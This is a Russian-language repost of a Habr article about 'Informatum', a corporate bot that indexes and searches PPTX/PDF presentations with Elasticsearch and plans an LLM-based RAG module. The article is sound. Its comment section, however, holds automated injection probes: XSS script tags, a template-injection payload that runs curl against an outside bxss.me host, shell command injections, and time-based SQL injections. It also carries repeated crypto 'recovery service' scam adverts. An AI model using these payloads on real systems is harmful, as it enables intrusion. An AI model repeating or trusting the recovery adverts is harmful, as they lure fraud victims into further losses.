Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Не окей, гугл: как сделать поисковик для работы с служебными презентациями

Привет, Хабр! Это снова команда «МосТрансПроекта». Мы постоянно работаем с информацией и знаниями, которые храним в служебных презентациях. Чтобы ими было удобней пользоваться и извлекать данные, мы решили создать удобный сервис хранения документов с поиском. Задача оказалась непростой, и в этой статье мы расскажем, как её решили. Текст будет интересен всем, кто занимается структурированием данных, поисковыми машинами и ИИ.

b45137eb5739d3aca80ff69b222b9f7d.png

В вечном поиске

Сегодня Москва активно развивается, в том числе в области транспорта. Проектами развития транспортной инфраструктуры в том числе занимаемся мы – МосТрансПроект. Все наши знания и данные чаще всего мы храним в служебных презентациях, которые используются на ежедневных совещаниях. Такие презентации являются главным форматом хранения и повторного использования данных, и, по сути, основным способом коммуникаций для нас.

Документы часто нужны специалистам, чтобы получить последние данные по проекту или посмотреть статус принятых решений. Но отыскать конкретную презентацию порой непросто: она может быть в единственном экземпляре на компьютере у одного сотрудника. А если он уволился или заболел? Или компьютер сломался?

Чтобы такого не происходило, мы решили создать хранилище всех презентаций с поиском. Проще всего залить документы на корпоративный сервер, но такой вариант подходит для пользователей настольных компьютеров и ноутбуков. В реальной жизни чаще всего оперативный доступ к данным нужен через телефон. Тогда мы завели канал в корпоративном мессенджере, куда стали заливать все финальные презентации с кратким описанием и хэштегом для поиска. Но в этом случае не было поиска внутри самих презентаций, потому что индексировалось только название файла.

Тогда мы решили сделать свой поисковик на основе бота в служебном корпоративном мессенджере. Бот мы назвали «Информатум». Каждая презентация через бот загружается на внутренний сервер, раскладывается на тексты, с которыми затем работает поисковик. В ответ на запрос бот выдает презентацию в форматах PDF и PPTX, а также фото слайда и часть текста с информацией по запросу пользователя.

PPTX нужен для тех случаев, когда из презентации необходимо извлечь отдельный график/справочную информацию. PDF — когда нужно быстро скачать и прочитать всю презентацию (PPTX, как правило, тяжелый и не всегда корректно отображается в телефоне). Сейчас в хранилище загружено более 800 комплектов материалов, в том числе, относительно старых (созданных в 2019-2020 гг.), сохранившихся только в PDF.

Как все устроено

Теперь – про изнанку «Информатума». Загружаемые файлы сохраняются в бакете облачного хранилища S3 minio, в то время как текст презентации парсится и индексируется в поисковой системе ElasticSearch (ES).

Полный процесс сохранения файла включает в себя 4 этапа:

6411e3cf4b467871a0626ae22798ff7c.png

Парсинг презентаций происходит по-разному в зависимости от формата файла.

Для файлов PPTX текст извлекается на основе форм, расположенных на слайде. Если форма является текстовой, текст извлекается непосредственно из нее. Следует отметить, что текст обычно извлекается в порядке размещения форм на слайде, но это не всегда соответствует логическому порядку. Например, заголовок может находиться ниже основного текста. В некоторых случаях формы могут быть объединены в группы, что требует предварительного разделения на первичные формы. В таких ситуациях невозможно гарантировать порядок извлечения текста.

427096189f5a9ec046178dba4ef46d9c.pnga6663e585cbfab1402058438774fab33.png

PDF-файлы состоят из страниц, каждая из которых может содержать текстовые блоки, изображения и другие графические элементы. Текст извлекается постранично в виде строк, однако порядок его извлечения может зависеть от расположения текста на странице. В отличие от формата PPTX, PDF-файлы не имеют четкой структуры, что может приводить к неожиданному порядку извлечения текста, следуя порядку наложения элементов на странице. Если текст распределен по странице (что актуально для презентаций), порядок его чтения может оказаться нелогичным и зависеть от последовательности сохранения элементов при создании документа, а также от их наложения друг на друга.

Текст документа в ElasticSearch хранится по слайдам для более удобного поиска. Пример структуры документа:

{
    "_id": "Уникальный идентификатор документа",
    "filename": "Имя файла",
    "author": "Автор документа",
    "date_added": "Дата добавления документа",
    "pages_pdf": [
        {
            "page_number": 1,
            "text": "Здесь хранится текст слайда 1"
        }
        // и т.д. для каждой страницы
    ],
    "pages_pptx": [
        {
            "page_number": 1,
            "text": "Здесь хранится текст слайда 1"
       }
    ]
}

Таким образом, мы рассматриваем материал или документ как уникальную единицу, описываемую файлами PDF и PPTX. Такая связь между файлами PDF и PPTX позволяет нам эффективно находить результаты запросов пользователя в документах, где PDF-документы сохранены в виде изображений (т.е. без текста).

Как устроен поиск

Для поиска взяли поисковую систему Elasticsearch. Это, по сути, база данных, в которую можно заливать данные и правильно их там искать. Мы понимали, что обычные базы данных с их «жестким» поиском — не самое оптимальное решение, ведь нам хотелось учитывать разные словоформы и возможные опечатки пользователей. Elasticsearch позволяет чуть более гибко искать нужную информацию. Нам нужно было как можно скорее выпустить первую версию продукта, чтобы собрать обратную связь от пользователей и понимать, куда развиваться дальше. Первая версия бота, которую мы сделали буквально на коленке за выходные, умела обрабатывать простейшие поисковые запросы. В последствие это все доводилось еще до ума.

Была очень сложная история с настройкой анализатора русского текста, чтобы он корректно все распознавал. В Elacticsearch есть библиотека русского языка, но она далека от совершенства.

Например, в русском языке символы «Ё» и «Е» часто используются взаимозаменяемо. В целях повышения точности поиска была произведена нормализация этих символов, что позволяет избежать ситуации, когда запросы, содержащие одну букву, не находят документы, содержащие другую букву. Данный фильтр применяется перед процессом токенизации текста, что обеспечивает более корректную обработку вводимых данных.

При настройке ElasticSearch было уделено особое внимание учету окончаний слов, что привело к внедрению стеммера:

"ru_stemmer": {
    "type": "stemmer",
    "language": "russian"
}

Использование стеммера для русского языка существенно улучшает полноту поиска, поскольку разные формы одного и того же слова (например, «бег», «бега», «бегал») приводятся к общему корню. Этот фильтр применяется к токенам текста после их разбиения на слова, что позволяет сократить количество уникальных токенов и повысить качество поиска.

Кроме того, был разработан анализатор текста:

"e_ru": {
    "tokenizer": "standard",
    "filter": [
        "lowercase",
        "ru_stemmer"
    ],
    "char_filter": ["e_char_filter"]
}

Данный анализатор разбивает текст на токены по пробелам и знакам препинания, а также приводит все токены к нижнему регистру для единообразия. Анализатор используется как при индексировании, так и при поиске, что способствует более эффективной обработке текстовых данных.

Другая проблема была связана с тем, что Elacticsearch изначально настроен только под отдельные взятые слова. А названия файлов презентаций, например, могут быть распознаны как единое слово, хотя там может быть два слова, разделенных нижним подчеркиванием. Нам нужно было сделать так, чтобы поиск умел искать в словах в названии файла. Сделали отдельный сервис внутри бота через команду /filename для поиска по названию файла. Учитывая, что названия файлов часто имеют формат «Название_файлаV15_(короткая).pdf», хранение таких данных в текстовом формате может быть бессмысленным. В связи с этим было принято решение использовать тип keyword для таких полей. Для полей данного типа применяется нормализатор, поскольку они не подлежат токенизации:

"lowercase_normalizer": {
    "type": "custom",
    "filter": ["lowercase"]
}

Применение нормализатора обеспечивает единообразие при сравнении значений, это важно для повышения качества поиска и обработки данных в системе.

Для поиска внутри документа мы используем два подхода: поиск по точному совпадению фразы и «примерный» поиск. Точный поиск ищет точное вхождение фразы, учитывая точный порядок слов хотя бы на одной странице документа. При примерном поиске перед обработкой слова разбиваются по токенам, отдельным элементам. В результате получается список слов, по которым будет осуществляться поиск. Для полученных токенов формируется условие поиска в виде словаря. В данном случае существует требование о наличии всех слов в тексте хотя бы на одной странице документа. Для этого создается множество условий, в рамках которых слова могут менять местами. Предполагается, что слова могут находиться на любом расстоянии друг от друга. Также применяется анализатор текста, который преобразует все слова в нижний регистр и отбрасывает окончания, что позволяет реализовать возможность поиска по различным формам слов.

Поиск осуществляется по всем документам, находящимся в индексе. В случае успешного совпадения формируется JSON-структура, содержащая информацию о документе и тексте внутри него. Каждая страница документа, а также весь документ в целом имеют параметр _score, который обозначает оценку совпадения полученного результата с запросом. Результаты сортируются по убыванию оценки, что позволяет выводить наиболее релевантные документы первыми.

В ElasticSearch есть параметр _score – представляющий собой оценку, основанную на алгоритме BM25. Этот алгоритм учитывает частоту встречаемости термина в документе, обратную частоту документа и длину документа для нормализации.

Функция возвращает результат выполнения запроса к клиенту, который включает найденные документы и соответствующую информацию о них. Поиск осуществляется отдельно и независимо по полям текста pptx и pdf, что позволяет получить более точную оценку. Затем результаты поиска по точному совпадению фразы и приблизительному совпадению с учетом форм слова и перестановок объединяются в один итоговый результат.

Такой подход снижает вероятность «потери» документа в случае, если PDF-файл был загружен в виде изображений без текстового слоя. Он также учитывает ситуации, когда текст в PDF-документе (который является неструктурированным и может содержать случайные символы) был распознан менее точно по сравнению с текстом из файлов формата PPTX.

Пример запроса с примерным поиском по документу:

must_conditions = []
# Добавляем условие для точного совпадения фразы 
must_conditions.append({
    "match_phrase": {
        f"pages_{pages_key}.text": text
    }
})
# поисковый запрос
query={
    "nested": {
        "path": f"pages_{pages_key}",
        "query": {
            "bool": {
                "must": must_conditions
            }
        },
        "inner_hits": {
            "highlight": {
                "fields": {
                    f"pages_{pages_key}.page_number": {},
                    f"pages_{pages_key}.text": {
                        "pre_tags": ["<strong><em>"],
                        "post_tags": ["</em></strong>"],
                    },
                },
            }
        }
    }
},
sort=[
    {"_score": {"order": "desc"}}
],
track_scores=True

Для поиска по названиям файла (которые являются типом keyword) используется другой подход. Запрос пользователя разбивается на слова с использованием пробелов и символов нижнего подчеркивания, в результате чего формируется список строк. Для каждого слова, кроме пустых, создается запрос типа wildcard, который указывает на то, что искомое слово должно присутствовать в строке названия файла.

Далее формируется основной запрос, содержащий логическую конструкцию, которая требует выполнения всех заданных условий. В результате выполнения функции возвращается результат запроса к системе Elasticsearch.

Пример такого запроса:

# Создаем массив запросов для каждого слова с использованием wildcard
must_queries = [
    {
        "wildcard": {
            search_type: f"*{word}*"
        }
    }
    for word in words if word  # убираем пустые строки, если такие есть
]
# Формируем запрос
query = {
    "bool": {
        "must": must_queries
    }
}

Бот для прокачки

«Информатум» активно наполняется данными и пользуется популярностью в МосТрансПроекте. Количество пользователей растет ежемесячно.

Недавно, проведя глубинное интервью с пользователями бота, мы выяснили, что сотрудники ищут, как правило, не конкретную презентацию, а все документы и материалы по какой-то теме для погружения в контекст. Им нужно быстро понять, что происходит в конкретной области. Такая потребность возникает, в частности, у новых сотрудников. Выходит, что бот, который изначально задумывался как сугубо сервисная штука, стал решать HR-задачи (ускоряя адаптацию новых сотрудников) и повышать эффективность работы всего Института. Уже подсчитано, что благодаря запуску «Информатума» с мая по декабрь 2024 года сотрудники сэкономили более 100 часов рабочего времени. Для подсчёта использовали особую методику: кому интересно – пишите в комментариях, расскажем.

Еще на старте проекта мы подумали про кибербез, поскольку в «Информатум» загружаются стратегически важные презентации с довольно чувствительной информацией. Сейчас мы контролируем, кто получает доступ к боту. Отслеживаем, кто уволился из Института, и отключаем их от бота. Это реализовано через единый сервис авторизации в корпоративных ботах МосТрансПроекта (ЕСАБ), про него расскажем в отдельной статье.

Человек за ботом

В 2025 году поиск в «Информатуме» будет работать на основе ИИ. Мы уже развернули в тестовом режиме локальную LLM нейросеть, которая ищет по внутренней базе знаний, где лежат статьи. Когда закончим тест, прикрутим ИИ-модуль к боту.

Что даст ИИ «Информатуму»?

Модели ИИ способны решать задачи, в которых есть много данных и нет четко поставленных правил. К этому еще добавляется нечеткий или иногда неясный запрос пользователя. По сути, такие модели в какой-то мере воспроизводят когнитивные способности человека. Например, при помощи нейронных сетей для векторизации и ранжирования мы можем эффективно вести семантический поиск по большому набору документов. Важное преимущество такого подхода - люди могут отправлять запросы с ошибками и это почти не повлияет на результат

Использование больших языковых моделей открыло новый этап в разработке ИИ-сервисов. Теперь мы можем решать сложные задачи по генерации текста, используя промты на естественном языке.

В «Информатуме» мы объединили семантический поиск и LLM для создания системы RAG (Retrieval Augmented Generation). Эта система по запросу пользователя ищет наиболее релевантные документы и затем при помощи LLM формирует из них ответ пользователю. Такая система дает следующие преимущества:

- Пользователям не надо будет ставить атрибуты и теги при загрузке презентаций: просто отправил документ в бот и забыл. ИИ, как мы думаем, решит проблему и так называемых «пустых» PDF, сохраненных в виде картинок: нейросеть сможет их распознавать и вынимать оттуда тексты. Проблема, слава богу, не масштабная: все новые презентации сохраняются сразу в двух форматах, PDF и PPTX, это обязательный стандарт Института.

- Система позволит делать краткую выжимку из загруженных презентации в 5-10 предложениях. Это актуально для объемных презентаций, которые некогда читать, при этом нужно быстро погрузиться в контекст.

- LLM сможет не просто обрабатывать простые запросы пользователя и исправлять опечатки, а отвечать на очень сильно свободно интерпретируемый запрос от пользователя и возвращать ответ с более сложной логикой. Например, вы спрашиваете какие планы по развитию метрополитена были с 2015 года, и информация на эту тему есть в презентации, где по какой-то причине нет слова «метро», но есть схемы с линиями. LLM должна понять и использовать это в выдаче.

- Будет доступен поиск по нечеткому запросу пользователя. Можно будет, к примеру, задавать вопросы в любой формулировке, не помня, что конкретно было в презентации.

На изображении ниже представлена схема работы RAG. Работает это так: мы предварительно обрабатываем все презентации и затем производим по ним семантический поиск. Мы хотим найти те презентации, в которых есть похожий контекст из запроса пользователя. Последний этап – формирование ответа из найденных презентаций на базе LLM:

46ea6045ca99d1c4a9615f4fefcdfa50.png

Допустим «хочу знать все, что касается станции Липовая роща» или «какой пассажиропоток был на метро «Чистые пруды» в апреле 2023 года». Человек не обязан помнить точное название презентации и его содержание, но у него должна быть возможность найти все по этому ключу. Нейросеть будет собирать ответы из всех имеющихся данных, на которых она обучена составлять какие-то новые предложения.

  • ИИ модуль можно будет научить понимать всякие технические аббревиатуры и сокращения (например ПС – подвижной состав, ПОДД – проект организации дорожного движения).

  • ИИ сможете также ранжировать ответы по важности, группировать документы по темам

  • Для улучшения безопасности хотим сделать систему отслеживания. Каждая скачанная презентация будет оставлять цифровой след. Возможно, что будем проставлять водяные знаки на документах, чтобы отследить путь презентации

  • В будущем хотим делать подписку, которая позволит сотрудникам через пуши и письма отслеживать новые документы в «Информатуме» по конкретной теме, Уведомления будут приходить, если презентация была обновлена

  • Думаем над созданием информационной экосистемы, объединяющей разнообразные текстовые материалы: от презентаций и статей до дайджестов и писем. Система будет включать интеллектуальный поиск и карту для удобного визуального представления данных с геопривязкой (про наш картографический сервис КИП ТК мы рассказывали в одной из прошлых статей). Это должно существенно облегчить работу командам, занимающимся транспортными решениями, позволяя мгновенно получать доступ ко всей необходимой информации по выбранному объекту. После этого хотим предложить расширить систему на весь транспортный комплекс, учитывая растущий интерес коллег к нашему проекту «Информатум».

У нас еще много разнообразных планов по развитию бота. Мы очень гордимся, что сделали его сами, бесплатно, не привлекая сторонних подрядчиков и не покупая никакой софт, силами небольшой команды.

Над проектом «Информатум» работали: Николай Кустов, Руслан Габдрахманов, Олеся Гуц, Дарья Архипова, Георгий Гаврилин, Ростислав Осленко.

Расскажите в комментариях, а вы работаете c данными в виде презентаций?

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

